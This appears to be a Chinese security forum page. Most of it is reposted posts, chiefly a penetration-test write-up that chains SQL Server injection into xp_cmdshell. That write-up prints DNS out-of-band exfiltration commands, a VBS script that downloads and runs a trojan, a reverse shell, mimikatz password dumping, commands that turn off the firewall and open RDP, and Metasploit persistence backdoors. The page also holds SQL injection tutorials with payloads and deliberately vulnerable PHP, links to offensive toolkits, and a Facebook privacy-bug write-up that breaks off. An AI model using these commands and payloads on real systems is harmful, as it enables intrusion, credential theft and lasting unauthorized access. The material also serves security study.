2、建一个目录用来放ssl证书文件
# mkdir /etc/httpd/ssl/

3、上传证书文件到ssl目录下
Ps:一共两个文件,其中.pem文件包含两部分内容

4、编辑ssl配置文件
# vim /etc/httpd/conf.d/ssl.conf

5、修改以下几行,去掉前面的“#”注释

DocumentRoot "/var/www/html" #网页文件路径
ServerName 域名:443 #改为自己的域名
SSLEngine on #启用SSL功能
SSLCertificateFile /etc/httpd/ssl/2_www.**.cn.crt #填写证书文件路径
SSLCertificateKeyFile /etc/httpd/ssl/3_www.***.cn.key #填写私钥文件路径
SSLCertificateChainFile /etc/httpd/ssl/1_root_bundle.crt #填写证书链文件路径

6) 重启服务器
# service httpd restart
这样服务器就配置好了,查看一下我们的Web页面
8.png

 
因为主页是Wordpress,资源链接中含http内容,所以会出现上图中的现象
11.png


使用一个纯html页面来检测一下是否成功
10.png

 
可以再添加一个从http跳到https的规则让访问过程更流畅





 
 


 

记一次渗透实战【转】

wuyou 发表了文章 • 0 个评论 • 180 次浏览 • 2019-05-22 23:47 • 来自相关话题

信息收集
用dirsearch扫了一波目录没有发现什么东西

直接用主站域名解析的ip访问发现主站是挂有cdn的

subDomainsBrute 扫描子域名

其中一个子域没挂CDN,由此找到网站的真实ip

得到真实ip后nmap扫描发现8099端口有个未知应用

访问发现是个WEB服务,一个登陆界面漏洞利用
趁nmap还在工作的时候,简单浏览了下网站的功能,伪静态,整个网站也没有什么动态功能

遂把目光放在了nmap扫出的8099端口的web服务

常规测试admin/admin,提示密码错误

l3yx/xxxx,账号不存在

那么可以确定的是这里的账号和密码验证是分开的,确有admin账号。而且没有验证码,理论上可以爆破了,但我只手动测试了常见的几个弱口令,无果。
当输入一个单引号时(admin'/123123) ,惊喜来了,此处存在sqli!

于是很熟练的构造"万能密码",admin/x' or 'x'='x--

然后反应过来了,之前测试发现账号密码验证是分开的,后台的账号密码验证肯定并非 where username=xxx and password=xxx 这种简单的sql语句,所以继续测试观察报错信息


账号密码的验证貌似是调用了储存过程,类似如 execute @result= verify 'xxx','xxx';
当账号密码为admin/11','xx'--时,页面返回正常

由于不是很熟悉sqlserver使用存储过程的注入,想尝试构造出能成功登陆的payload没有成功,就换种思路。
sqlserver是默认可以堆叠查询的,所以只要把之前的语句闭合,那么就可以在其后执行任意sql语句,能执行任意sql语句,那么同样利用存储过程就可以执行系统命令
第一步先用如下语句开启扩展存储过程

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;


执行系统命令

exec master..xp_cmdshell "whoami"

这里是不会有回显的命令执行结果的,所以用ping命令来判断命令执行结果

命令执行结果DNS带外
有时候能执行命令却看不见结果也是很难受的,这里我还是想能够观察到命令执行结果,用到DNS带外的方法,其实就下面一条命令

cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.xxx.ceye.io && nslookup !FINAL!"

实际测试的时候爬了很多坑,当前执行目录可能没有写权限,换到D目录
目标服务器貌似没有nslookup,换成ping
&&这两个字符一定要编码,否则被WEB服务器当做参数分隔符了
生成的temp文件要删除,否则下次执行会失败
sqlserver中一对双引号其中的双引号用两个双引号代替
最后的paylaod

exec master..xp_cmdshell "whoami>D:/temp%26%26certutil -encode D:/temp D:/temp2%26%26findstr /L /V ""CERTIFICATE"" D:/temp2>D:/temp3";
exec master..xp_cmdshell "cmd /v /c""set /p MYVAR=< D:/temp3 %26%26 set FINAL=!MYVAR!.xxx.ceye.io %26%26 ping !FINAL!""";
exec master..xp_cmdshell "del ""D:/temp"" ""D:/temp2"" ""D:/temp3""";




直接就是system权限写入VBS下载木马
cmd命令行做不到下载文件,使用powershell容易被杀毒软件拦截,在该服务器上测试powershell命令也不成功,所以就用vbs来下载文件
vbs下载文件脚本:

iLocal = LCase(WScript.Arguments(1))
iRemote = LCase(WScript.Arguments(0))
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET",iRemote,0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile iLocal,2

用法:cscript D:/l.vbs http://xx.xx.xx.xx/x.exe D:/x.exe
所以先得利用sql注入执行命令把该脚本一点点写入文件,如下

echo iLocal = LCase(WScript.Arguments(1))>D:/l.vbs
echo iRemote = LCase(WScript.Arguments(0))>>D:/l.vbs
echo Set xPost = CreateObject(""Microsoft.XMLHTTP"")>>D:/l.vbs
echo xPost.Open ""GET"",iRemote,0 >>D:/l.vbs
echo xPost.Send() >>D:/l.vbs
echo Set sGet = CreateObject(""ADODB.Stream"")>>D:/l.vbs
echo sGet.Mode = 3 >>D:/l.vbs
echo sGet.Type = 1 >>D:/l.vbs
echo sGet.Open()>>D:/l.vbs
echo sGet.Write(xPost.responseBody)>>D:/l.vbs
echo sGet.SaveToFile iLocal,2 >>D:/l.vbs

注意以上命令是不能全部用&&连接起来一起输入的,因为参数限制最大长度为 128,还有在sqlserver中双引号内输入双引号是需要输入两个双引号的,并不是用\转义,如图



在执行 cscript D:/l.vbs http://ip/x.exe D:/x.exe 命令后,看到服务器确有下载记录

说明vbs脚本写入成功而且确实下载了文件,但是执行 D:/x.exe 后没有收到shell怀疑是杀毒软件给拦了,但我确实做过免杀啊...
后来检查发现,该服务器是32位系统,而我用的是64位的payload,自然不会成功,后面换成32位的,成功弹回shell
信息收集

ipconfig

查了一下ip,发现处在内网

查看域用户

net group /domain

有中文乱码,本来想用chcp 65001切换成UTF-8代码页,但只要切换成UTF-8 shell就断,不知具体原因。不过utf-8不行的话chcp 437切换到IBM437英语好了
看到这里是没有域的,有点小失望

查看系统基本信息

systeminfo


查看端口,没开3389

netstat -ano


查看相邻主机IP

arp -a


抓用户hash


解密不成功的话可以用mimikatz直接抓取明文,metasploit已经内置,可以直接加载

load mimikatz

然后用kerberos命令抓取
或者用mimikatz_command执行mimikatz命令

mimikatz_command -f sekurlsa::logonPasswords

连接3389
目标3389是没有开启的,不过Win7、Win2003、XP系统可用如下命令开启

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f




关闭防火墙:

netsh firewall set opmode mode=disable

尝试关闭防火墙后还是连接不成功
测试发现3389端口仍然为closed

真是被自己蠢到了...
这台服务器是在内网,要连接自然的先把端口转发到公网上啊
metasploit端口转发:

portfwd add -l 3389 -p 3389 -r 192.168.50.2

这句命令是将目标(-r 192.168.50.2)的3389端口(-p 3389)转发到我服务器的3389端口(-l 3389)

然后打开远程桌面连接,ip即为我服务器的公网ip,端口由于也是设置的3389,所以不用改
内网扫描
要对目标内网进行扫描需要先添加一下路由

run autoroute -s 192.168.50.2/24


使用metasploit的portscan扫描一下内网存活的主机

use auxiliary/scanner/portscan/tcp
set rhosts 192.168.50.2/24set ports 139, 445
exploit


有点慢呢,最后扫了一半还没发现其他主机就放弃了权限维持
metasploi Metsvc模块
这个使用很简单

run metsvc


其实是给目标开了一个服务

连接的话使用exploit/multi/handler模块,payload设置为windows/metsvc_bind_tcp,设置目标ip和绑定端口31337
metasploi Persistence模块

run persistence -U -i 60 -p 5555 -r xx.xx.xx.xx

-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息
-i:设置反向连接间隔时间,单位为秒;
-p:设置反向连接的端口号;
-r:设置反向连接的ip地址

清除脚本在下图位置

若要清除后门,在meterpreter运行该脚本即可

 
转自先知社区:https://xz.aliyun.com/t/5191 查看全部
信息收集
用dirsearch扫了一波目录没有发现什么东西

直接用主站域名解析的ip访问发现主站是挂有cdn的

subDomainsBrute 扫描子域名

其中一个子域没挂CDN,由此找到网站的真实ip

得到真实ip后nmap扫描发现8099端口有个未知应用

访问发现是个WEB服务,一个登陆界面漏洞利用
趁nmap还在工作的时候,简单浏览了下网站的功能,伪静态,整个网站也没有什么动态功能

遂把目光放在了nmap扫出的8099端口的web服务

常规测试admin/admin,提示密码错误

l3yx/xxxx,账号不存在

那么可以确定的是这里的账号和密码验证是分开的,确有admin账号。而且没有验证码,理论上可以爆破了,但我只手动测试了常见的几个弱口令,无果。
当输入一个单引号时(admin'/123123) ,惊喜来了,此处存在sqli!

于是很熟练的构造"万能密码",admin/x' or 'x'='x--

然后反应过来了,之前测试发现账号密码验证是分开的,后台的账号密码验证肯定并非 where username=xxx and password=xxx 这种简单的sql语句,所以继续测试观察报错信息


账号密码的验证貌似是调用了储存过程,类似如 execute @result= verify 'xxx','xxx';
当账号密码为admin/11','xx'--时,页面返回正常

由于不是很熟悉sqlserver使用存储过程的注入,想尝试构造出能成功登陆的payload没有成功,就换种思路。
sqlserver是默认可以堆叠查询的,所以只要把之前的语句闭合,那么就可以在其后执行任意sql语句,能执行任意sql语句,那么同样利用存储过程就可以执行系统命令
第一步先用如下语句开启扩展存储过程


EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;



执行系统命令


exec master..xp_cmdshell "whoami"


这里是不会有回显的命令执行结果的,所以用ping命令来判断命令执行结果

命令执行结果DNS带外
有时候能执行命令却看不见结果也是很难受的,这里我还是想能够观察到命令执行结果,用到DNS带外的方法,其实就下面一条命令


cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.xxx.ceye.io && nslookup !FINAL!"


实际测试的时候爬了很多坑,当前执行目录可能没有写权限,换到D目录
目标服务器貌似没有nslookup,换成ping
&&这两个字符一定要编码,否则被WEB服务器当做参数分隔符了
生成的temp文件要删除,否则下次执行会失败
sqlserver中一对双引号其中的双引号用两个双引号代替
最后的paylaod


exec master..xp_cmdshell "whoami>D:/temp%26%26certutil -encode D:/temp D:/temp2%26%26findstr /L /V ""CERTIFICATE"" D:/temp2>D:/temp3";
exec master..xp_cmdshell "cmd /v /c""set /p MYVAR=< D:/temp3 %26%26 set FINAL=!MYVAR!.xxx.ceye.io %26%26 ping !FINAL!""";
exec master..xp_cmdshell "del ""D:/temp"" ""D:/temp2"" ""D:/temp3""";





直接就是system权限写入VBS下载木马
cmd命令行做不到下载文件,使用powershell容易被杀毒软件拦截,在该服务器上测试powershell命令也不成功,所以就用vbs来下载文件
vbs下载文件脚本:


iLocal = LCase(WScript.Arguments(1))
iRemote = LCase(WScript.Arguments(0))
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET",iRemote,0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile iLocal,2


用法:cscript D:/l.vbs http://xx.xx.xx.xx/x.exe D:/x.exe
所以先得利用sql注入执行命令把该脚本一点点写入文件,如下


echo iLocal = LCase(WScript.Arguments(1))>D:/l.vbs
echo iRemote = LCase(WScript.Arguments(0))>>D:/l.vbs
echo Set xPost = CreateObject(""Microsoft.XMLHTTP"")>>D:/l.vbs
echo xPost.Open ""GET"",iRemote,0 >>D:/l.vbs
echo xPost.Send() >>D:/l.vbs
echo Set sGet = CreateObject(""ADODB.Stream"")>>D:/l.vbs
echo sGet.Mode = 3 >>D:/l.vbs
echo sGet.Type = 1 >>D:/l.vbs
echo sGet.Open()>>D:/l.vbs
echo sGet.Write(xPost.responseBody)>>D:/l.vbs
echo sGet.SaveToFile iLocal,2 >>D:/l.vbs


注意以上命令是不能全部用&&连接起来一起输入的,因为参数限制最大长度为 128,还有在sqlserver中双引号内输入双引号是需要输入两个双引号的,并不是用\转义,如图



在执行 cscript D:/l.vbs http://ip/x.exe D:/x.exe 命令后,看到服务器确有下载记录

说明vbs脚本写入成功而且确实下载了文件,但是执行 D:/x.exe 后没有收到shell怀疑是杀毒软件给拦了,但我确实做过免杀啊...
后来检查发现,该服务器是32位系统,而我用的是64位的payload,自然不会成功,后面换成32位的,成功弹回shell
信息收集


ipconfig


查了一下ip,发现处在内网

查看域用户


net group /domain


有中文乱码,本来想用chcp 65001切换成UTF-8代码页,但只要切换成UTF-8 shell就断,不知具体原因。不过utf-8不行的话chcp 437切换到IBM437英语好了
看到这里是没有域的,有点小失望

查看系统基本信息


systeminfo



查看端口,没开3389


netstat -ano



查看相邻主机IP


arp -a



抓用户hash


解密不成功的话可以用mimikatz直接抓取明文,metasploit已经内置,可以直接加载


load mimikatz


然后用kerberos命令抓取
或者用mimikatz_command执行mimikatz命令


mimikatz_command -f sekurlsa::logonPasswords


连接3389
目标3389是没有开启的,不过Win7、Win2003、XP系统可用如下命令开启


REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f





关闭防火墙:


netsh firewall set opmode mode=disable


尝试关闭防火墙后还是连接不成功
测试发现3389端口仍然为closed

真是被自己蠢到了...
这台服务器是在内网,要连接自然的先把端口转发到公网上啊
metasploit端口转发:


portfwd add -l 3389 -p 3389 -r 192.168.50.2


这句命令是将目标(-r 192.168.50.2)的3389端口(-p 3389)转发到我服务器的3389端口(-l 3389)

然后打开远程桌面连接,ip即为我服务器的公网ip,端口由于也是设置的3389,所以不用改
内网扫描
要对目标内网进行扫描需要先添加一下路由


run autoroute -s 192.168.50.2/24



使用metasploit的portscan扫描一下内网存活的主机


use auxiliary/scanner/portscan/tcp
set rhosts 192.168.50.2/24set ports 139, 445
exploit



有点慢呢,最后扫了一半还没发现其他主机就放弃了权限维持
metasploi Metsvc模块
这个使用很简单


run metsvc



其实是给目标开了一个服务

连接的话使用exploit/multi/handler模块,payload设置为windows/metsvc_bind_tcp,设置目标ip和绑定端口31337
metasploi Persistence模块


run persistence -U -i 60 -p 5555 -r xx.xx.xx.xx


-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息
-i:设置反向连接间隔时间,单位为秒;
-p:设置反向连接的端口号;
-r:设置反向连接的ip地址

清除脚本在下图位置

若要清除后门,在meterpreter运行该脚本即可

 
转自先知社区:https://xz.aliyun.com/t/5191

Insert型SQL注入探究

wuyou 发表了文章 • 1 个评论 • 167 次浏览 • 2019-05-10 18:49 • 来自相关话题

我之前对SQL注入的了解只停留在测试select型的阶段上,虽然也知道增删改查理论上都可以进行SQL注入,但实际进行测试时发现其流程和测试select型时有些区别,我大致在网上找了找,没有找到想要的内容,也觉得只是看别人的实验过程并不能对自己有什么提升,所以就自己动手实际测试一遍,并总结出了一套测试insert型注入的流程
 
实验环境:
Mysql + PHP + Apache
简易留言板形式的Insert型注入点
 








 
实验过程:
首先,我使用测试select型注入的方法对注入点进行测试
测试过程:
001     [留言成功]002\    [留言失败]003#    [留言成功]004'    [留言失败]005"    [留言成功]006)    [留言成功]007')   [留言失败]008')#  [留言失败]


在select型注入中,当我们成功找对闭合条件并加入注释符时,应该会看到操作成功的回显,
但是在insert型中,即使找对了闭合条件,我们也无法做到成功留言
 
观察后端sql语句我们可以找到原因
$sql = "insert into message(content,ltime,uid) values('$content','$time','$uid')";
sql语句中有两个完整括号,当两个括号中的参数不匹配时,会无法成功执行sql语句
 
所以我们还要找到sql语句中的参数数量
测试过程:
009','')#      [留言失败]010','','')#    [留言成功]





 
下来我们就可以来考虑拼接sql语句了
 
报错注入payload:
011',''or extractvalue(1,concat(0x7e,database())) or'')#





 
直接拼接SQL语句:
011','',(select s_id from user where uid=25))#










 
这里有几点要注意:
1、要选择插入数据后可以回显到页面上的参数进行注入
2、有些参数限制必须为字符或数字或时间格式,所以要根据你查询出的内容的数据类型选择参数
 
如果实在找不到符合条件的参数,这时可以选择盲注
 
时间盲注payload:
011'and sleep(5),'','')#
011'and if((select version())>5,sleep(5),1),'','')#
 
注:这里and sleep(5)不能跟在最后一个引号后,否则无法执行睡眠!
 
 
 

 
 
  查看全部
我之前对SQL注入的了解只停留在测试select型的阶段上,虽然也知道增删改查理论上都可以进行SQL注入,但实际进行测试时发现其流程和测试select型时有些区别,我大致在网上找了找,没有找到想要的内容,也觉得只是看别人的实验过程并不能对自己有什么提升,所以就自己动手实际测试一遍,并总结出了一套测试insert型注入的流程
 
实验环境:
Mysql + PHP + Apache
简易留言板形式的Insert型注入点
 
3.png

1.png

 
实验过程:
首先,我使用测试select型注入的方法对注入点进行测试
测试过程:
  1. 001     [留言成功]
  2. 002\    [留言失败]
  3. 003#    [留言成功]
  4. 004'    [留言失败]
  5. 005"    [留言成功]
  6. 006)    [留言成功]
  7. 007')   [留言失败]
  8. 008')#  [留言失败]



在select型注入中,当我们成功找对闭合条件并加入注释符时,应该会看到操作成功的回显,
但是在insert型中,即使找对了闭合条件,我们也无法做到成功留言
 
观察后端sql语句我们可以找到原因
$sql = "insert into message(content,ltime,uid) values('$content','$time','$uid')";
sql语句中有两个完整括号,当两个括号中的参数不匹配时,会无法成功执行sql语句
 
所以我们还要找到sql语句中的参数数量
测试过程:
  1. 009','')#      [留言失败]
  2. 010','','')#    [留言成功]


4.png

 
下来我们就可以来考虑拼接sql语句了
 
报错注入payload:
011',''or extractvalue(1,concat(0x7e,database())) or'')#

5.png

 
直接拼接SQL语句:
011','',(select s_id from user where uid=25))#

6.png


7.png

 
这里有几点要注意:
1、要选择插入数据后可以回显到页面上的参数进行注入
2、有些参数限制必须为字符或数字或时间格式,所以要根据你查询出的内容的数据类型选择参数
 
如果实在找不到符合条件的参数,这时可以选择盲注
 
时间盲注payload:
011'and sleep(5),'','')#
011'and if((select version())>5,sleep(5),1),'','')#
 
注:这里and sleep(5)不能跟在最后一个引号后,否则无法执行睡眠!
 
 
 

 
 
 

github上一些安全工具的分享

sq_smile 发表了文章 • 1 个评论 • 208 次浏览 • 2019-05-07 11:26 • 来自相关话题

0X01 工具分享
K8系列工具集:https://gitee.com/sq_smile/K8tools
内网渗透系列:https://gitee.com/sq_smile/Intranet_Penetration_Tips
安全行业从业者自研扫描器:https://gitee.com/sq_smile/Scanners-Box
渗透与测试红队工具集:https://gitee.com/sq_smile/Shr3dKit    
需要说明一下的是,这些工具都是从github搬运过来的,并非原创,也未做任何修改。
 
0X02  从github搬运的原因
          使用github的都知道,它的服务器是外国的。虽然没有被墙,但是在上边下载的速度依然慢的感人。于是呢,我在网上遨游了很久终于找到了解决的方法,具体是什么,待我在下边娓娓道来。总之方法很简单了。
 
0X03  搬运方法
        1、 在登录自己的github账号以后,找到自己想要搬运的项目。
        2、 在想要搬运项目上边,找到“Fork”,然后点击一下它。这里我以K8的项目为例。




        3、 在开源中国的码云上边,导入github上你fork的项目。









然后在第一次导入的时候,它会跟你的github账号相关联,你需要登录一下。在登录以后,你就可以看到github上fork的项目,然后选择项目导入就可以了。如下图所示:




 
 
0X04    总结
        导入的过程还是很简单的,只要愿意动手都可以完成。希望以上内容可以帮助到大家!
 
 
  查看全部
0X01 工具分享
K8系列工具集:https://gitee.com/sq_smile/K8tools
内网渗透系列:https://gitee.com/sq_smile/Intranet_Penetration_Tips
安全行业从业者自研扫描器:https://gitee.com/sq_smile/Scanners-Box
渗透与测试红队工具集:https://gitee.com/sq_smile/Shr3dKit    

需要说明一下的是,这些工具都是从github搬运过来的,并非原创,也未做任何修改。
 
0X02  从github搬运的原因
          使用github的都知道,它的服务器是外国的。虽然没有被墙,但是在上边下载的速度依然慢的感人。于是呢,我在网上遨游了很久终于找到了解决的方法,具体是什么,待我在下边娓娓道来。总之方法很简单了。
 
0X03  搬运方法
        1、 在登录自己的github账号以后,找到自己想要搬运的项目。
        2、 在想要搬运项目上边,找到“Fork”,然后点击一下它。这里我以K8的项目为例。
Fork.png

        3、 在开源中国的码云上边,导入github上你fork的项目。
1.png


2.png

然后在第一次导入的时候,它会跟你的github账号相关联,你需要登录一下。在登录以后,你就可以看到github上fork的项目,然后选择项目导入就可以了。如下图所示:
3.png

 
 
0X04    总结
        导入的过程还是很简单的,只要愿意动手都可以完成。希望以上内容可以帮助到大家!
 
 
 

【转】SQL注入--搜索型

main 发表了文章 • 0 个评论 • 182 次浏览 • 2019-05-05 16:25 • 来自相关话题

一、搜索型注入简介与原理

1)简介
一些网站为了方便用户查找网站的资源,都对用户提供了搜索的功能,因为是搜索功能,往往是程序员在编写代码时都忽略了对其变量(参数)的过滤,而且这样的漏洞在国内的系统中普遍的存在:


其中又分为POST/GET,GET型的一般是用在网站上的搜索,而POST则用在用户名的登录,可以从form表单的method="get"属性来区分是get还是post。搜索型注入又称为文本框注入。


2)原理$sql="select * from user where password like '%$pwd%' order by password"; 
这句SQL的语句就是基于用户输入的pwd在users表中找到相应的password,正常用户当然会输入例如admin,ckse等等。但是如果有人输入这样的内容呢?'and 1=1 and '%'='
这样的话这句SQL语句就变成了这样:select * from user where password like '%fendo'and 1=1 and '%'='%' order by password存在SQL注入。

二、搜索型注入判断
 判断搜索型注入的方法:1 搜索keywords‘,如果出错的话,有90%的可能性存在漏洞;

2 搜索 keywords%,如果同样出错的话,就有95%的可能性存在漏洞;

3 搜索keywords% 'and 1=1 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=1)看返回的情况

4 搜索keywords% 'and 1=2 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=2)看返回的情况

5 根据两次的返回情况来判断是不是搜索型文本框注入了

下面这几种语句都可以:'and 1=1 and '%'='

%' and 1=1--'

%' and 1=1 and '%'='
 
 三、搜索型注入实战


1)GET型注入
 
测试源码: <?
$pwd=$_GET['pwd'];
$conn=mysql_connect("127.0.0.1","root","123");//连接mysql数据库
if($conn){
echo "连接数据库成功!";
}//判断连接是否成功
echo "<br>";
mysql_select_db('fendo',$conn);//选择连接请求为conn的数据库(fendo)
$sql="select * from user where password like '%$pwd%' order by password"; //字符型搜索语句
$result=mysql_query($sql);
while($row = mysql_fetch_array($result)){
echo "用户ID:".$row['id']."<br >";
echo "用户名:".$row['username']."<br >";
echo "用户密码:".$row['password']."<br >";
echo "用户邮箱:".$row['email']."<br >";
}
mysql_close($conn); //关闭数据库连接
echo "<hr>";
echo "你当前执行的sql语句为:"."<br >";
echo $sql;
?>
 
1.判断字段数

语句:%' union select 1,2,3,4,...... and '%'='





还有种方法
语句: %' and exists (select id from user where LENGTH(username)<6 and id=1) and '%'='
把6这个数字逐次更换,直到他不报错为止。如下当它小于6时正确,说明字段数为5。
 






2.判断表名

语句:%'and(select count(*)from admin)>0 and '%'='





把admin这个表名逐次更换,直到他不报错为止,就说明这个表存在。


3.猜解密码

由于这里用的就是密码,所以这里换成猜解用户名
 
 
2)POST型注入

测试源码:<?

//--------------------------post处理--------------------------------//

$name=addslashes($_POST['n']);

$pass=addslashes($_POST['p']);

$conn = mysql_connect('127.0.0.1','root','123');

if($conn){

echo "mysql连接成功";

echo "<hr>";

}

mysql_select_db('fendo',$conn);

$sql="select * from user where username='$name' and password='$pass'";

$result=mysql_query($sql);

mysql_close($conn);

while($row = mysql_fetch_array($result)){

echo "用户ID:".$row['id']."<br >";

echo "用户名:".$row['username']."<br >";

echo "用户密码:".$row['password']."<br >";

}

echo "当前执行的sql语句:".$sql;

?>



<form action="" method="POST">

账号:<input name="n" type="text" /><br><br>

密码:<input name="p" type="text" /><br><br>

<input name="" type="submit" value="提交" />



</form>






1.判断是否存在SQL注入

用PHP万能密码进行测试' or 1=1#







在用户名里输入万能密码如果没报错,就说明存在SQL注入。
 
 
2.猜字段数' order by 4#





逐次更改数字去猜,直到不报错为止。
 
 
3.猜表名'or 1=1 union select 1,2,3,4 #





逐次累加数字,直到不报错为止。
 
 
4.猜内容
 
替换1,2,3为你想要获得的内容




'or 1=1 union select username,password,3,4 from user#
 
 
 
转自:https://blog.csdn.net/u011781521/article/details/57083482 查看全部
一、搜索型注入简介与原理

1)简介
一些网站为了方便用户查找网站的资源,都对用户提供了搜索的功能,因为是搜索功能,往往是程序员在编写代码时都忽略了对其变量(参数)的过滤,而且这样的漏洞在国内的系统中普遍的存在:


其中又分为POST/GET,GET型的一般是用在网站上的搜索,而POST则用在用户名的登录,可以从form表单的method="get"属性来区分是get还是post。搜索型注入又称为文本框注入。


2)原理
$sql="select * from user where password like '%$pwd%' order by password";
 
这句SQL的语句就是基于用户输入的pwd在users表中找到相应的password,正常用户当然会输入例如admin,ckse等等。但是如果有人输入这样的内容呢?
'and 1=1 and '%'='

这样的话这句SQL语句就变成了这样:
select * from user where password like '%fendo'and 1=1 and '%'='%' order by password
存在SQL注入。

二、搜索型注入判断
 判断搜索型注入的方法:
1 搜索keywords‘,如果出错的话,有90%的可能性存在漏洞;

2 搜索 keywords%,如果同样出错的话,就有95%的可能性存在漏洞;

3 搜索keywords% 'and 1=1 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=1)看返回的情况

4 搜索keywords% 'and 1=2 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=2)看返回的情况

5 根据两次的返回情况来判断是不是搜索型文本框注入了


下面这几种语句都可以:
'and 1=1 and '%'='

%' and 1=1--'

%' and 1=1 and '%'='

 
 三、搜索型注入实战


1)GET型注入
 
测试源码:
    <?
$pwd=$_GET['pwd'];
$conn=mysql_connect("127.0.0.1","root","123");//连接mysql数据库
if($conn){
echo "连接数据库成功!";
}//判断连接是否成功
echo "<br>";
mysql_select_db('fendo',$conn);//选择连接请求为conn的数据库(fendo)
$sql="select * from user where password like '%$pwd%' order by password"; //字符型搜索语句
$result=mysql_query($sql);
while($row = mysql_fetch_array($result)){
echo "用户ID:".$row['id']."<br >";
echo "用户名:".$row['username']."<br >";
echo "用户密码:".$row['password']."<br >";
echo "用户邮箱:".$row['email']."<br >";
}
mysql_close($conn); //关闭数据库连接
echo "<hr>";
echo "你当前执行的sql语句为:"."<br >";
echo $sql;
?>

 
1.判断字段数

语句:
%' union select 1,2,3,4,...... and '%'='

1.jpg


还有种方法
语句:
  %' and exists (select id from user where LENGTH(username)<6 and id=1) and '%'='

把6这个数字逐次更换,直到他不报错为止。如下当它小于6时正确,说明字段数为5。
 
2.jpg



2.判断表名

语句:
%'and(select count(*)from admin)>0 and '%'='

3.jpg


把admin这个表名逐次更换,直到他不报错为止,就说明这个表存在。


3.猜解密码

由于这里用的就是密码,所以这里换成猜解用户名
 
 
2)POST型注入

测试源码:
<?  

//--------------------------post处理--------------------------------//

$name=addslashes($_POST['n']);

$pass=addslashes($_POST['p']);

$conn = mysql_connect('127.0.0.1','root','123');

if($conn){

echo "mysql连接成功";

echo "<hr>";

}

mysql_select_db('fendo',$conn);

$sql="select * from user where username='$name' and password='$pass'";

$result=mysql_query($sql);

mysql_close($conn);

while($row = mysql_fetch_array($result)){

echo "用户ID:".$row['id']."<br >";

echo "用户名:".$row['username']."<br >";

echo "用户密码:".$row['password']."<br >";

}

echo "当前执行的sql语句:".$sql;

?>



<form action="" method="POST">

账号:<input name="n" type="text" /><br><br>

密码:<input name="p" type="text" /><br><br>

<input name="" type="submit" value="提交" />



</form>

4.jpg



1.判断是否存在SQL注入

用PHP万能密码进行测试
' or 1=1#  

5.jpg




在用户名里输入万能密码如果没报错,就说明存在SQL注入。
 
 
2.猜字段数
' order by 4#  

6.jpg


逐次更改数字去猜,直到不报错为止。
 
 
3.猜表名
'or 1=1 union select 1,2,3,4 #  

7.jpg


逐次累加数字,直到不报错为止。
 
 
4.猜内容
 
替换1,2,3为你想要获得的内容

8.jpg
'or 1=1 union select username,password,3,4 from user#   

 
 
 
转自:https://blog.csdn.net/u011781521/article/details/57083482

【转】挖洞经验丨看我如何获取Facebook用户的隐私好友列表

willeson 发表了文章 • 0 个评论 • 96 次浏览 • 2019-04-29 12:33 • 来自相关话题

当拥有个人信息的组织机构发生数据失窃或遭受未授权访问行为时,就可能发生用户信息泄露事件。通常来说,这是种安全事件会导致一些敏感受保护的机密数据被广泛流传、分析或恶意利用。本文分享的漏洞writeup,只需知道Facebook用户的注册邮箱或者手机号码,就能间接获取该用户相关的隐私好友列表,进而推断出用户的一个大致的社交关系图谱。漏洞最终获得了Facebook官方$10,000美金的奖励。
按照Facebook帮助页面的说明来看,“你可能认识的人”(People You May Know)这项功能可以帮助Facebook用户找到更多相识的朋友,该功能建立起你和对方之间的关系是基于以下因素来进行判断的:

1.你们之间有共同朋友或存在相互朋友关系,这也是建立这种可能认识关系的最根本原因;
2.你们在同一个Facebook群组中,或是在同一张照片中被标记过;
3.另外就是你们通过同一个网络出口(学校、单位)登录过Facebook账户。

Facebook好友列表的隐私设置
默认来说,Facebook用户的好友列表是公开的,当然,Facebook也给这个好友列表设置了三种不同的隐私选项:公开、朋友可见和仅自己可见等自定义设置),具体参考Facebook帮助页面说明。漏洞发现
这里作者发现的漏洞是这样的:首先,在用户注册阶段,恶意攻击者可以通过先输入目标受害者的手机号码作为注册确认的手机号码,如下:
之后,Facebook会向这个手机号码发送一个短信验证码,而且要求在确认界面输入这个验证码,如下:
当然了,恶意攻击者肯定是不知道目标受害者的短信内容了,更别提这个短信验证码了。所以,在这里攻击者可以点击界面中出现的“更新联系方式”(Update Contact info)按钮,在跳出的新手机号码或新邮箱地址添加栏中,填写攻击者自己的邮箱地址hack@rajsek.com,如下:
接下来,攻击者自己的邮箱hack@rajsek.com中会收到一封Facebook发来的验证码邮件,在之前的确认界面中填写这个验证码,选择“继续”(Continue)。然后,Facebook会提示该账户与hack@rajsek.com是绑定关系,且需攻击者以邮箱hack@rajsek.com作为登录凭据完成登录:
现在,我们转到以下链接去:

https://www.facebook.com/friends/requests/?fcref=swpsa

这个链接是“你可能认识的人”URL,或者直接用curl对以下链接请求进行抓包:
